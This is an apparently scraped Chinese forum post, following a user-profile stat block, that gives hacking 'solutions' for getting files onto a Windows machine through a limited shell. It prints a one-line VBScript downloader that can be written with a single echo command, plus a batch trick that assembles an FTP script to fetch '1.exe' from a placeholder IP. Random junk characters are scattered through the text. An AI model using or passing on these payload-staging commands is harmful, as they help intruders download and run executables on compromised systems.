- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
- H' d/ u d. j# s# Y1 D: V) ^1.iget.vbs一次写入 & f8 {% L: N. B1 t$ E
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
3 R- ~# F: |6 \6 T
6 _/ D/ k; l) D; _3 tSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 4 e& j# o* t3 C D! R' v
) l {) O0 P' b3 Z这样我们可以一次echo成功,echo版本: 0 s7 R/ ^0 s% n6 T) A
3 m0 }7 B: ]! c8 Zecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs " b% N+ M* }* D$ B: Q
$ l+ N+ @$ M$ s H
& K+ `5 `- Y6 Q
2.bat调用ftp脚本的写法(by envymask) 3 `' z9 D2 Y( ?3 V3 w
& Y0 Q4 `' Q1 a. d0 u
echo ftp>1.vbs
' t# s6 [) i2 L: s2 ~9 [" s3 vecho open ip>2.vbs 5 @( K0 u3 R/ V; j8 p$ ^! x) x
echo u>3.vbs
" l; h' w1 c0 P4 b. @; k0 Zecho s>4.vbs
$ G* A; Z$ U* R) _! M" {echo binary>5.vbs
: P7 j# h; f6 B% h7 D4 |. A# vecho get 1.exe>6.vbs
+ j( H |( \% M5 E: H2 S! Hecho bay>7.vbs # D: I" ~/ }" `1 C
- r% T/ _! q4 G3 ?$ Z$ kcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
( G3 h' d1 ]$ _2 Y2 U, `</P> |
zan
|